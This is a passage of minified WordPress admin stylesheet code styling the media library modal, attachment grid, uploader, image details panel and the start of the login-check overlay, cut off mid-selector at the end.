.upload-errors{position:absolute;width:300px;top:50%;left:50%;margin-left:-150px;margin-right:-150px;z-index:600000}.media-frame .media-iframe{overflow:hidden}.media-frame .media-iframe,.media-frame .media-iframe iframe{height:100%;width:100%;border:0}.media-frame select.attachment-filters{margin-top:11px;margin-right:2%;max-width:42%;max-width:calc(48% - 12px)}.media-frame select.attachment-filters:last-of-type{margin-right:0}.media-frame .search{margin:32px 0 0;padding:4px;font-size:13px;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;-webkit-appearance:none}.media-toolbar-primary .search{max-width:100%}.media-modal .media-frame .media-search-input-label{position:absolute;left:0;top:10px;margin:0;line-height:1}.wp-core-ui .attachments{margin:0;-webkit-overflow-scrolling:touch}.wp-core-ui .attachment{position:relative;float:left;padding:8px;margin:0;color:#3c434a;cursor:pointer;list-style:none;text-align:center;-webkit-user-select:none;user-select:none;width:25%;box-sizing:border-box}.wp-core-ui .attachment.details:focus,.wp-core-ui .attachment:focus,.wp-core-ui .selected.attachment:focus{box-shadow:inset 0 0 2px 3px #fff,inset 0 0 0 7px #4f94d4;outline:2px solid transparent;outline-offset:-6px}.wp-core-ui .selected.attachment{box-shadow:inset 0 0 0 5px #fff,inset 0 0 0 7px #c3c4c7}.wp-core-ui .attachment.details{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #2271b1}.wp-core-ui .attachment-preview{position:relative;box-shadow:inset 0 0 15px rgba(0,0,0,.1),inset 0 0 0 1px rgba(0,0,0,.05);background:#f0f0f1;cursor:pointer}.wp-core-ui .attachment-preview:before{content:"";display:block;padding-top:100%}.wp-core-ui .attachment .icon{margin:0 auto;overflow:hidden}.wp-core-ui .attachment .thumbnail{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0;opacity:1;transition:opacity .1s}.wp-core-ui .attachment .portrait img{max-width:100%}.wp-core-ui .attachment .landscape img{max-height:100%}.wp-core-ui .attachment .thumbnail:after{content:"";display:block;position:absolute;top:0;left:0;right:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);overflow:hidden}.wp-core-ui .attachment .thumbnail img{top:0;left:0}.wp-core-ui .attachment .thumbnail .centered{position:absolute;top:0;left:0;width:100%;height:100%;transform:translate(50%,50%)}.wp-core-ui .attachment .thumbnail .centered img{transform:translate(-50%,-50%)}.wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon{transform:translate(-50%,-70%)}.wp-core-ui .attachment .filename{position:absolute;left:0;right:0;bottom:0;overflow:hidden;max-height:100%;word-wrap:break-word;text-align:center;font-weight:600;background:rgba(255,255,255,.8);box-shadow:inset 0 0 0 1px rgba(0,0,0,.15)}.wp-core-ui .attachment .filename div{padding:5px 10px}.wp-core-ui .attachment .thumbnail img{position:absolute}.wp-core-ui .attachment-close{display:block;position:absolute;top:5px;right:5px;height:22px;width:22px;padding:0;background-color:#fff;background-position:-96px 4px;border-radius:3px;box-shadow:0 0 0 1px rgba(0,0,0,.3);transition:none}.wp-core-ui .attachment-close:focus,.wp-core-ui .attachment-close:hover{background-position:-36px 4px}.wp-core-ui .attachment .check{display:none;height:24px;width:24px;padding:0;border:0;position:absolute;z-index:10;top:0;right:0;outline:0;background:#f0f0f1;cursor:pointer;box-shadow:0 0 0 1px #fff,0 0 0 2px rgba(0,0,0,.15)}.wp-core-ui .attachment .check .media-modal-icon{display:block;background-position:-1px 0;height:15px;width:15px;margin:5px}.wp-core-ui .attachment .check:hover .media-modal-icon{background-position:-40px 0}.wp-core-ui .attachment.selected .check{display:block}.wp-core-ui .attachment.details .check,.wp-core-ui .attachment.selected .check:focus,.wp-core-ui .media-frame.mode-grid .attachment.selected .check{background-color:#2271b1;box-shadow:0 0 0 1px #fff,0 0 0 2px #2271b1}.wp-core-ui .attachment.selected .check:focus{outline:2px solid transparent}.wp-core-ui .attachment.details .check .media-modal-icon,.wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon{background-position:-21px 0}.wp-core-ui .attachment.details .check:hover .media-modal-icon,.wp-core-ui .attachment.selected .check:focus .media-modal-icon,.wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon{background-position:-60px 0}.wp-core-ui .media-frame .attachment .describe{position:relative;display:block;width:100%;margin:0;padding:0 8px;font-size:12px;border-radius:0}.media-frame .attachments-browser{position:relative;width:100%;height:100%;overflow:hidden}.attachments-browser .media-toolbar{right:300px;height:72px;background:#fff}.attachments-browser.hide-sidebar .media-toolbar{right:0}.attachments-browser .media-toolbar-primary>.media-button,.attachments-browser .media-toolbar-primary>.media-button-group,.attachments-browser .media-toolbar-secondary>.media-button,.attachments-browser .media-toolbar-secondary>.media-button-group{margin:10px 0}.attachments-browser .attachments{padding:2px 8px 8px}.attachments-browser .uploader-inline,.attachments-browser.has-load-more .attachments-wrapper,.attachments-browser:not(.has-load-more) .attachments{position:absolute;top:72px;left:0;right:300px;bottom:0;overflow:auto;outline:0}.attachments-browser .uploader-inline.hidden{display:none}.attachments-browser .media-toolbar-primary{max-width:33%}.mode-grid .attachments-browser .media-toolbar-primary{display:flex;align-items:center;column-gap:.5rem}.mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary{display:none}.attachments-browser .media-toolbar-secondary{max-width:66%}.uploader-inline .close{background-color:transparent;border:0;cursor:pointer;height:48px;outline:0;padding:0;position:absolute;right:2px;text-align:center;top:2px;width:48px;z-index:1}.uploader-inline .close:before{font:normal 30px/1 dashicons!important;color:#50575e;display:inline-block;content:"\f335";font-weight:300;margin-top:1px}.uploader-inline .close:focus{outline:1px solid #4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.attachments-browser.hide-sidebar .attachments,.attachments-browser.hide-sidebar .uploader-inline{right:0;margin-right:0}.attachments-browser .instructions{display:inline-block;margin-top:16px;line-height:1.38461538;font-size:13px;color:#646970}.attachments-browser .no-media{padding:2em 0 0 2em}.more-loaded .attachment:not(.found-media){background:#dcdcde}.load-more-wrapper{clear:both;display:flex;flex-wrap:wrap;align-items:center;justify-content:center;padding:1em 0}.load-more-wrapper .load-more-count{min-width:100%;margin:0 0 1em;text-align:center}.load-more-wrapper .load-more{margin:0}.media-frame .load-more-wrapper .load-more+.spinner{float:none;margin:0 -30px 0 10px}.media-frame .load-more-wrapper .load-more.hidden+.spinner{margin:0}.load-more-wrapper::after{content:"";min-width:100%;order:1}.load-more-wrapper .load-more-jump{margin:0 0 0 12px}.attachment.new-media{outline:2px dotted #c3c4c7}.load-more-wrapper{clear:both;display:flex;flex-wrap:wrap;align-items:center;justify-content:center;padding:1em 0}.load-more-wrapper .load-more-count{min-width:100%;margin:0 0 1em;text-align:center}.load-more-wrapper .load-more{margin:0}.media-frame .load-more-wrapper .load-more+.spinner{float:none;margin:0 -30px 0 10px}.media-frame .load-more-wrapper .load-more.hidden+.spinner{margin:0}.load-more-wrapper::after{content:"";min-width:100%;order:1}.load-more-wrapper .load-more-jump{margin:0 0 0 12px}.media-progress-bar{position:relative;height:10px;width:70%;margin:10px auto;border-radius:10px;background:#dcdcde;background:rgba(0,0,0,.1)}.media-progress-bar div{height:10px;min-width:20px;width:0;background:#2271b1;border-radius:10px;transition:width .3s}.media-uploader-status .media-progress-bar{display:none;width:100%}.uploading.media-uploader-status .media-progress-bar{display:block}.attachment-preview .media-progress-bar{position:absolute;top:50%;left:15%;width:70%;margin:-5px 0 0}.media-uploader-status{position:relative;margin:0 auto;padding-bottom:10px;max-width:400px}.uploader-inline .media-uploader-status h2{display:none}.media-uploader-status .upload-details{display:none;font-size:12px;color:#646970}.uploading.media-uploader-status .upload-details{display:block}.media-uploader-status .upload-detail-separator{padding:0 4px}.media-uploader-status .upload-count{color:#3c434a}.media-uploader-status .upload-dismiss-errors,.media-uploader-status .upload-errors{display:none}.errors.media-uploader-status .upload-dismiss-errors,.errors.media-uploader-status .upload-errors{display:block}.media-uploader-status .upload-dismiss-errors{transition:none;text-decoration:none}.upload-errors .upload-error{padding:12px;margin-bottom:12px;background:#fff;border-left:4px solid #d63638;box-shadow:0 1px 1px 0 rgba(0,0,0,.1)}.uploader-inline .upload-errors .upload-error{padding:12px 30px;background-color:#fcf0f1;box-shadow:none}.upload-errors .upload-error-filename{font-weight:600}.upload-errors .upload-error-message{display:block;padding-top:8px;word-wrap:break-word}.uploader-window,.wp-editor-wrap .uploader-editor{top:0;left:0;right:0;bottom:0;text-align:center;display:none}.uploader-window{position:fixed;z-index:250000;opacity:0;transition:opacity 250ms}.wp-editor-wrap .uploader-editor{position:absolute;z-index:99998;background:rgba(140,143,148,.9)}.uploader-window,.wp-editor-wrap .uploader-editor.droppable{background:rgba(10,75,120,.9)}.uploader-window-content,.wp-editor-wrap .uploader-editor-content{position:absolute;top:10px;left:10px;right:10px;bottom:10px;border:1px dashed #fff}.uploader-window .uploader-editor-title,.uploader-window h1,.wp-editor-wrap .uploader-editor .uploader-editor-title{position:absolute;top:50%;left:0;right:0;transform:translateY(-50%);font-size:3em;line-height:1.3;font-weight:600;color:#fff;margin:0;padding:0 10px}.wp-editor-wrap .uploader-editor .uploader-editor-title{display:none}.wp-editor-wrap .uploader-editor.droppable .uploader-editor-title{display:block}.uploader-window .media-progress-bar{margin-top:20px;max-width:300px;background:0 0;border-color:#fff;display:none}.uploader-window .media-progress-bar div{background:#fff}.uploading .uploader-window .media-progress-bar{display:block}.media-frame .uploader-inline{margin-bottom:20px;padding:0;text-align:center}.uploader-inline-content{position:absolute;top:30%;left:0;right:0}.uploader-inline-content .upload-ui{margin:2em 0}.uploader-inline-content .post-upload-ui{margin-bottom:2em}.uploader-inline .has-upload-message .upload-ui{margin:0 0 4em}.uploader-inline h2{font-size:20px;line-height:1.4;font-weight:400;margin:0}.uploader-inline .has-upload-message .upload-instructions{font-size:14px;color:#3c434a;font-weight:400}.uploader-inline .drop-instructions{display:none}.supports-drag-drop .uploader-inline .drop-instructions{display:block}.uploader-inline p{margin:.5em 0}.uploader-inline .media-progress-bar{display:none}.uploading.uploader-inline .media-progress-bar{display:block}.uploader-inline .browser{display:inline-block!important}.media-selection{position:absolute;top:0;left:0;right:350px;height:60px;padding:0 0 0 16px;overflow:hidden;white-space:nowrap}.media-selection .selection-info{display:inline-block;font-size:12px;height:60px;margin-right:10px;vertical-align:top}.media-selection.editing,.media-selection.empty{display:none}.media-selection.one .edit-selection{display:none}.media-selection .count{display:block;padding-top:12px;font-size:14px;line-height:1.42857142;font-weight:600}.media-selection .button-link{float:left;padding:1px 8px;margin:1px 8px 1px -8px;line-height:1.4;border-right:1px solid #dcdcde;color:#2271b1;text-decoration:none}.media-selection .button-link:focus,.media-selection .button-link:hover{color:#135e96}.media-selection .button-link:last-child{border-right:0;margin-right:0}.selection-info .clear-selection{color:#d63638}.selection-info .clear-selection:focus,.selection-info .clear-selection:hover{color:#d63638}.media-selection .selection-view{display:inline-block;vertical-align:top}.media-selection .attachments{display:inline-block;height:48px;margin:6px;padding:0;overflow:hidden;vertical-align:top}.media-selection .attachment{width:40px;padding:0;margin:4px}.media-selection .attachment .thumbnail{top:0;right:0;bottom:0;left:0}.media-selection .attachment .icon{width:50%}.media-selection .attachment-preview{box-shadow:none;background:0 0}.wp-core-ui .media-selection .attachment.details:focus,.wp-core-ui .media-selection .attachment:focus,.wp-core-ui .media-selection .selected.attachment:focus{box-shadow:0 0 0 1px #fff,0 0 2px 3px #4f94d4;outline:2px solid transparent}.wp-core-ui .media-selection .selected.attachment{box-shadow:none}.wp-core-ui .media-selection .attachment.details{box-shadow:0 0 0 1px #fff,0 0 0 3px #2271b1}.media-selection:after{content:"";display:block;position:absolute;top:0;right:0;bottom:0;width:25px;background-image:linear-gradient(to left,#fff,rgba(255,255,255,0))}.media-selection .attachment .filename{display:none}.media-frame .spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;float:right;display:inline-block;visibility:hidden;opacity:.7;width:20px;height:20px;margin:0;vertical-align:middle}.media-frame.mode-grid .spinner{margin:0;float:none;vertical-align:middle}.media-modal .media-toolbar .spinner{float:none;vertical-align:bottom;margin:0 0 5px 5px}.media-frame .instructions+.spinner.is-active{vertical-align:middle}.media-frame .spinner.is-active{visibility:visible}.attachment-details{position:relative;overflow:auto}.attachment-details .settings-save-status{float:right;text-transform:none;font-weight:400}.attachment-details .settings-save-status .spinner{float:none;margin-left:5px}.attachment-details .settings-save-status .saved{display:none}.attachment-details.save-waiting .settings-save-status .spinner{visibility:visible}.attachment-details.save-complete .settings-save-status .saved{display:inline-block}.attachment-info{overflow:hidden;min-height:60px;margin-bottom:16px;line-height:1.5;color:#646970;border-bottom:1px solid #dcdcde;padding-bottom:11px}.attachment-info .wp-media-wrapper{margin-bottom:8px}.attachment-info .wp-media-wrapper.wp-audio{margin-top:13px}.attachment-info .filename{font-weight:600;color:#3c434a;word-wrap:break-word}.attachment-info .thumbnail{position:relative;float:left;max-width:120px;max-height:120px;margin-top:5px;margin-right:10px;margin-bottom:5px}.uploading .attachment-info .thumbnail{width:120px;height:80px;box-shadow:inset 0 0 15px rgba(0,0,0,.1)}.uploading .attachment-info .media-progress-bar{margin-top:35px}.attachment-info .thumbnail-image:after{content:"";display:block;position:absolute;top:0;left:0;right:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.15);overflow:hidden}.attachment-info .thumbnail img{display:block;max-width:120px;max-height:120px;margin:0 auto}.attachment-info .details{float:left;font-size:12px;max-width:100%}.attachment-info .delete-attachment,.attachment-info .edit-attachment,.attachment-info .trash-attachment,.attachment-info .untrash-attachment{display:block;text-decoration:none;white-space:nowrap}.attachment-details.needs-refresh .attachment-info .edit-attachment{display:none}.attachment-info .edit-attachment{display:block}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment{display:inline;padding:0;color:#d63638}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover{color:#d63638}.attachment-display-settings{width:100%;float:left;overflow:hidden}.collection-settings{overflow:hidden}.collection-settings .setting input[type=checkbox]{float:left;margin-right:8px}.collection-settings .setting .name,.collection-settings .setting span{min-width:inherit}.media-modal .imgedit-wrap{position:static}.media-modal .imgedit-wrap .imgedit-panel-content{padding:16px 16px 0;overflow:visible}.media-modal .imgedit-wrap .imgedit-save-target{margin:8px 0 24px}.media-modal .imgedit-group{background:0 0;border:none;box-shadow:none;margin:0;padding:0;position:relative}.media-modal .imgedit-group.imgedit-panel-active{margin-bottom:16px;padding-bottom:16px}.media-modal .imgedit-group-top{margin:0}.media-modal .imgedit-group-top h2,.media-modal .imgedit-group-top h2 .button-link{display:inline-block;text-transform:uppercase;font-size:12px;color:#646970;margin:0;margin-top:3px}.media-modal .imgedit-group-top h2 .button-link,.media-modal .imgedit-group-top h2 a{text-decoration:none;color:#646970}.wp-core-ui.media-modal .image-editor .imgedit-help-toggle,.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active,.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover{border:1px solid transparent;margin:0;padding:0;background:0 0;color:#2271b1;font-size:20px;line-height:1;cursor:pointer;box-sizing:content-box;box-shadow:none}.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus{color:#2271b1;border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}.wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle{margin-top:-3px}.wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle{margin-top:-2px}.media-modal .imgedit-help-toggled span.dashicons:before{content:"\f142"}.media-modal .imgedit-thumbnail-preview{margin:10px 8px 0 0}.imgedit-thumbnail-preview-caption{display:block}.media-modal .imgedit-wrap .notice,.media-modal .imgedit-wrap div.updated{margin:0 16px}.embed-url{display:block;position:relative;padding:16px;margin:0;z-index:250;background:#fff;font-size:18px}.media-frame .embed-url input{font-size:18px;line-height:1.22222222;padding:12px 40px 12px 14px;width:100%;min-width:200px;box-shadow:inset 2px 2px 4px -2px rgba(0,0,0,.1)}.media-frame .embed-url input::-ms-clear{display:none}.media-frame .embed-url .spinner{position:absolute;top:32px;right:26px}.media-frame .embed-loading .embed-url .spinner{visibility:visible}.embed-link-settings,.embed-media-settings{position:absolute;top:82px;left:0;right:0;bottom:0;padding:0 16px;overflow:auto}.media-embed .embed-link-settings .link-text{margin-top:0}.embed-link-settings::after,.embed-media-settings::after{content:"";display:flex;clear:both;height:24px}.media-embed .embed-link-settings{overflow:visible}.embed-preview embed,.embed-preview iframe,.embed-preview img,.mejs-container video{max-width:100%;vertical-align:middle}.embed-preview a{display:inline-block}.embed-preview img{display:block;height:auto}.mejs-container:focus{outline:1px solid #2271b1;box-shadow:0 0 0 2px #2271b1}.image-details .media-modal{left:140px;right:140px}.image-details .media-frame-content,.image-details .media-frame-router,.image-details .media-frame-title{left:0}.image-details .embed-media-settings{top:0;overflow:visible;padding:0}.image-details .embed-media-settings::after{content:none}.image-details .embed-media-settings,.image-details .embed-media-settings div{box-sizing:border-box}.image-details .column-settings{background:#f6f7f7;border-right:1px solid #dcdcde;min-height:100%;width:55%;position:absolute;top:0;left:0}.image-details .column-settings h2{margin:20px;padding-top:20px;border-top:1px solid #dcdcde;color:#1d2327}.image-details .column-image{width:45%;position:absolute;left:55%;top:0}.image-details .image{margin:20px}.image-details .image img{max-width:100%;max-height:500px}.image-details .advanced-toggle{padding:0;color:#646970;text-transform:uppercase;text-decoration:none}.image-details .advanced-toggle:active,.image-details .advanced-toggle:hover{color:#646970}.image-details .advanced-toggle:after{font:normal 20px/1 dashicons;speak:never;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:"\f140";display:inline-block;margin-top:-2px}.image-details .advanced-visible .advanced-toggle:after{content:"\f142"}.image-details .custom-size .custom-size-setting,.image-details .custom-size label{display:block;float:left}.image-details .custom-size .custom-size-setting label{float:none}.image-details .custom-size input{width:5em}.image-details .custom-size .sep{float:left;margin:26px 6px 0}.image-details .custom-size .description{margin-left:0}.media-embed .thumbnail{max-width:100%;max-height:200px;position:relative;float:left}.media-embed .thumbnail img{max-height:200px;display:block}.media-embed .thumbnail:after{content:"";display:block;position:absolute;top:0;left:0;right:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);overflow:hidden}.media-embed .setting,.media-embed .setting-group{width:100%;margin:10px 0;float:left;display:block;clear:both}.media-embed .setting-group .setting:not(.checkbox-setting){margin:0}.media-embed .setting.has-description{margin-bottom:5px}.media-embed .description{clear:both;font-style:normal}.media-embed .content-track+.description{line-height:1.4;max-width:none!important}.media-embed .remove-track{margin-bottom:10px}.image-details .embed-media-settings .setting,.image-details .embed-media-settings .setting-group{float:none;width:auto}.image-details .actions{margin:10px 0}.image-details .hidden{display:none}.media-embed .setting input[type=text],.media-embed .setting textarea,.media-embed fieldset{display:block;width:100%;max-width:400px}.image-details .embed-media-settings .setting input[type=text],.image-details .embed-media-settings .setting textarea{max-width:inherit;width:70%}.image-details .description,.image-details .embed-media-settings .custom-size,.image-details .embed-media-settings .link-target,.image-details .embed-media-settings .setting input.link-to-custom,.image-details .embed-media-settings .setting-group{margin-left:27%;width:70%}.image-details .description{font-style:normal;margin-top:0}.image-details .embed-media-settings .link-target{margin-top:16px}.audio-details .checkbox-label,.image-details .checkbox-label,.video-details .checkbox-label{vertical-align:baseline}.media-embed .setting input.hidden,.media-embed .setting textarea.hidden{display:none}.media-embed .setting .name,.media-embed .setting span,.media-embed .setting-group .name{display:inline-block;font-size:13px;line-height:1.84615384;color:#646970}.media-embed .setting span{display:block;width:200px}.image-details .embed-media-settings .setting .name,.image-details .embed-media-settings .setting span{float:left;width:25%;text-align:right;margin:8px 1% 0;line-height:1.1}.image-details .embed-media-settings .setting .button-group,.media-frame .setting-group .button-group{width:auto}.media-embed-sidebar{position:absolute;top:0;left:440px}.advanced-section,.link-settings{margin-top:10px}.media-frame .setting .button-group{display:flex;margin:0!important;max-width:none!important}.rtl .media-frame,.rtl .media-frame .search,.rtl .media-frame input[type=email],.rtl .media-frame input[type=number],.rtl .media-frame input[type=password],.rtl .media-frame input[type=search],.rtl .media-frame input[type=tel],.rtl .media-frame input[type=text],.rtl .media-frame input[type=url],.rtl .media-frame select,.rtl .media-frame textarea,.rtl .media-modal{font-family:Tahoma,sans-serif}:lang(he-il) .rtl .media-frame,:lang(he-il) .rtl .media-frame .search,:lang(he-il) .rtl .media-frame input[type=email],:lang(he-il) .rtl .media-frame input[type=number],:lang(he-il) .rtl .media-frame input[type=password],:lang(he-il) .rtl .media-frame input[type=search],:lang(he-il) .rtl .media-frame input[type=text],:lang(he-il) .rtl .media-frame input[type=url],:lang(he-il) .rtl .media-frame select,:lang(he-il) .rtl .media-frame textarea,:lang(he-il) .rtl .media-modal{font-family:Arial,sans-serif}@media only screen and (max-width:900px){.media-modal .media-frame-title{height:40px}.media-modal .media-frame-title h1{line-height:2.22222222;font-size:18px}.media-modal-close{width:42px;height:42px}.media-frame .media-frame-title{position:static;padding:0 44px;text-align:center}.media-frame:not(.hide-menu) .media-frame-content,.media-frame:not(.hide-menu) .media-frame-router,.media-frame:not(.hide-menu) .media-frame-toolbar{left:0}.media-frame:not(.hide-menu) .media-frame-router{top:80px}.media-frame:not(.hide-menu) .media-frame-content{top:114px}.media-frame.hide-router .media-frame-content{top:80px}.media-frame:not(.hide-menu) .media-frame-menu{position:static;width:0}.media-frame:not(.hide-menu) .media-menu{display:none;width:auto;max-width:80%;overflow:auto;z-index:2000;top:75px;left:50%;transform:translateX(-50%);right:auto;bottom:auto;padding:5px 0;border:1px solid #c3c4c7}.media-frame:not(.hide-menu) .media-menu.visible{display:block}.media-frame:not(.hide-menu) .media-menu>a{padding:12px 16px;font-size:16px}.media-frame:not(.hide-menu) .media-menu .separator{margin:5px 10px}.media-frame-menu-heading{clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;overflow:hidden;padding:0;width:1px;word-wrap:normal!important}.wp-core-ui .media-frame:not(.hide-menu) .button.media-frame-menu-toggle{display:inline-flex;align-items:center;position:absolute;left:50%;transform:translateX(-50%);margin:-6px 0 0;padding:0 2px 0 12px;font-size:.875rem;font-weight:600;text-decoration:none;background:0 0;height:.1%;min-height:40px}.wp-core-ui .button.media-frame-menu-toggle:active,.wp-core-ui .button.media-frame-menu-toggle:hover{background:0 0;transform:none}.wp-core-ui .button.media-frame-menu-toggle:focus{outline:1px solid transparent}.media-sidebar{width:230px}.options-general-php .crop-content.site-icon{margin-right:262px}.attachments-browser .attachments,.attachments-browser .attachments-wrapper,.attachments-browser .media-toolbar,.attachments-browser .uploader-inline,.attachments-browser.has-load-more .attachments-wrapper{right:262px}.attachments-browser .media-toolbar{height:82px}.attachments-browser .attachments,.attachments-browser .uploader-inline,.media-frame-content .attachments-browser .attachments-wrapper{top:82px}.attachment-details .setting,.media-sidebar .setting{margin:6px 0}.attachment-details .setting .name,.attachment-details .setting input,.attachment-details .setting textarea,.compat-item label span,.media-sidebar .setting .name,.media-sidebar .setting input,.media-sidebar .setting textarea{float:none;display:inline-block}.attachment-details .setting span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting span{float:none}.media-sidebar .setting .select-label-inline{display:inline}.attachment-details .setting .name,.compat-item label span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting .name{text-align:inherit;min-height:16px;margin:0;padding:8px 2px 2px}.attachment-details .attachment-info .copy-to-clipboard-container,.media-sidebar .setting .copy-to-clipboard-container{margin-left:0;padding-top:0}.attachment-details .attachment-info .copy-attachment-url,.media-sidebar .setting .copy-attachment-url{margin:0 1px}.attachment-details .setting .value,.media-sidebar .setting .value{float:none;width:auto}.attachment-details .setting input[type=email],.attachment-details .setting input[type=number],.attachment-details .setting input[type=password],.attachment-details .setting input[type=search],.attachment-details .setting input[type=tel],.attachment-details .setting input[type=text],.attachment-details .setting input[type=url],.attachment-details .setting select,.attachment-details .setting textarea,.attachment-details .setting+.description,.media-sidebar .setting input[type=email],.media-sidebar .setting input[type=number],.media-sidebar .setting input[type=password],.media-sidebar .setting input[type=search],.media-sidebar .setting input[type=tel],.media-sidebar .setting input[type=text],.media-sidebar .setting input[type=url],.media-sidebar .setting select,.media-sidebar .setting textarea{float:none;width:98%;max-width:none;height:auto}.media-frame .media-toolbar input[type=search]{line-height:2.25}.attachment-details .setting select.columns,.media-sidebar .setting select.columns{width:auto}.media-frame .search,.media-frame input,.media-frame textarea{padding:3px 6px}.wp-admin .media-frame select{min-height:40px;font-size:16px;line-height:1.625;padding:5px 24px 5px 8px}.image-details .column-image{width:30%;left:70%}.image-details .column-settings{width:70%}.image-details .media-modal{left:30px;right:30px}.image-details .embed-media-settings .setting,.image-details .embed-media-settings .setting-group{margin:20px}.image-details .embed-media-settings .setting .name,.image-details .embed-media-settings .setting span{float:none;text-align:left;width:100%;margin-bottom:4px;margin-left:0}.media-modal .legend-inline{position:static;transform:none;margin-left:0;margin-bottom:6px}.image-details .embed-media-settings .setting-group .setting{margin-bottom:0}.image-details .embed-media-settings .setting input.link-to-custom,.image-details .embed-media-settings .setting input[type=text],.image-details .embed-media-settings .setting textarea{width:100%;margin-left:0}.image-details .embed-media-settings .setting.has-description{margin-bottom:5px}.image-details .description{width:auto;margin:0 20px}.image-details .embed-media-settings .custom-size{margin-left:20px}.collection-settings .setting input[type=checkbox]{float:none;margin-top:0}.media-selection{min-width:120px}.media-selection:after{background:0 0}.media-selection .attachments{display:none}.media-modal .attachments-browser .media-toolbar .search{max-width:100%;height:auto;float:right}.media-modal .attachments-browser .media-toolbar .attachment-filters{height:auto}.media-frame input[type=email],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=text],.media-frame input[type=url],.media-frame select,.media-frame textarea{font-size:16px;line-height:1.5}.media-frame .media-toolbar input[type=search]{line-height:2.3755}.media-modal .media-toolbar .spinner{margin-bottom:10px}}@media screen and (max-width:782px){.imgedit-panel-content{grid-template-columns:auto}.media-frame-toolbar .media-toolbar{bottom:-54px}.mode-grid .attachments-browser .media-toolbar-primary{display:flex}.mode-grid .attachments-browser .media-toolbar-primary input[type=search]{width:100%}.attachment-details .copy-to-clipboard-container .success,.media-sidebar .copy-to-clipboard-container .success{font-size:14px;line-height:2.71428571}.media-frame .wp-filter .media-toolbar-secondary{position:unset}.media-frame .media-toolbar-secondary .spinner{position:absolute;top:0;bottom:0;margin:auto;left:0;right:0;z-index:9}.media-bg-overlay{content:'';background:#fff;width:100%;height:100%;display:none;position:absolute;left:0;right:0;top:0;bottom:0;opacity:.6}}@media only screen and (max-width:640px),screen and (max-height:400px){.image-details .media-modal,.media-modal{position:fixed;top:0;left:0;right:0;bottom:0}.media-modal-backdrop{position:fixed}.options-general-php .crop-content.site-icon{margin-right:0}.media-sidebar{z-index:1900;max-width:70%;bottom:120%;box-sizing:border-box;padding-bottom:0}.media-sidebar.visible{bottom:0}.attachments-browser .attachments,.attachments-browser .media-toolbar,.attachments-browser .uploader-inline,.media-frame-content .attachments-browser .attachments-wrapper{right:0}.image-details .media-frame-title{display:block;top:0;font-size:14px}.image-details .column-image,.image-details .column-settings{width:100%;position:relative;left:0}.image-details .column-settings{padding:4px 0}.media-frame-content .media-toolbar .instructions{display:none}.load-more-wrapper .load-more-jump{margin:12px 0 0}}@media only screen and (min-width:901px) and (max-height:400px){.media-frame:not(.hide-menu) .media-menu,.media-menu{top:0;padding-top:44px}.load-more-wrapper .load-more-jump{margin:12px 0 0}}@media only screen and (max-width:480px){.wp-core-ui.wp-customizer .media-button{margin-top:13px}}@media print,(min-resolution:120dpi){.wp-core-ui .media-modal-icon{background-image:url(../images/uploader-icons-2x.png);background-size:134px 15px}.media-frame .spinner{background-image:url(../images/spinner-2x.gif)}}.media-frame-content[data-columns="1"] .attachment{width:100%}.media-frame-content[data-columns="2"] .attachment{width:50%}.media-frame-content[data-columns="3"] .attachment{width:33.33%}.media-frame-content[data-columns="4"] .attachment{width:25%}.media-frame-content[data-columns="5"] .attachment{width:20%}.media-frame-content[data-columns="6"] .attachment{width:16.66%}.media-frame-content[data-columns="7"] .attachment{width:14.28%}.media-frame-content[data-columns="8"] .attachment{width:12.5%}.media-frame-content[data-columns="9"] .attachment{width:11.11%}.media-frame-content[data-columns="10"] .attachment{width:10%}.media-frame-content[data-columns="11"] .attachment{width:9.09%}.media-frame-content[data-columns="12"] .attachment{width:8.33%}/*! This file is auto-generated */
#wp-auth-check-wrap.hidden{display:none}#wp-auth-check-wrap #wp-auth-check-bg{position:fixed;top:0;bottom:0;left:0;right:0;background:#000;opacity:.7;z-index:1000010}#wp-auth-check-wrap #wp-auth-check{position:fixed;left:50%;overflow:hidden;top:40px;bottom:20px;max-height:415px;width:380px;margin:0 0 0 -190px;padding:30px 0 0;background-color:#f0f0f1;z-index:1000011;box-shadow:0 3px 6px rgba(0,0,0,.3)}@media screen and (max-width:380px){#wp-auth-check-wrap #wp-auth-check{left:0;width:100%;margin:0}}#wp-auth-check-wrap.fallback #wp-auth-check{max-height:180px;overflow:auto}#wp-auth-check-wrap #wp-auth-check-form{height:100%;position:relative;overflow:auto;-webkit-overflow-scrolling:touch}#wp-auth-check-form.loading:before{content:"";display:block;width:20px;height:20px;position:absolute;left:50%;top:50%;margin:-10px 0 0 -10px;background:url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}@media print,(min-resolution:120dpi){#wp-auth-check-form.loading:before{background-image:url(../images/spinner-2x.gif)}}#wp-auth-check-wrap #wp-auth-check-form 